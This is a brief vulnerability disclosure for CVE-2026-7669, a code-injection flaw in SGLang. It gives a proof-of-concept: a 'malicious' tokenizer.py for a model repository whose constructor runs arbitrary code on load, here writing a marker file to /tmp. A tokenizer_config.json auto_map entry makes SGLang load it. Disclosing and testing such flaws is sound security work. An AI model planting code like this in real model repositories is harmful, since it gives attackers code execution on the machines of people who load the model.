CVE-2026-7669 SGLang代码注入漏洞

# Malicious tokenizer.py to be placed in the model repo import os class Tokenizer: def __init__(self, *args, **kwargs): # Proof of Concept: Create a file or execute a command with open("/tmp/poc_success.txt", "w") as f: f.write("CVE-2026-7669 Exploit Executed") print("[+] Arbitrary code executed in SGLang process") # tokenizer_config.json must reference this class via auto_map # {"auto_map": {"AutoTokenizer": ["tokenizer.Tokenizer", null]}}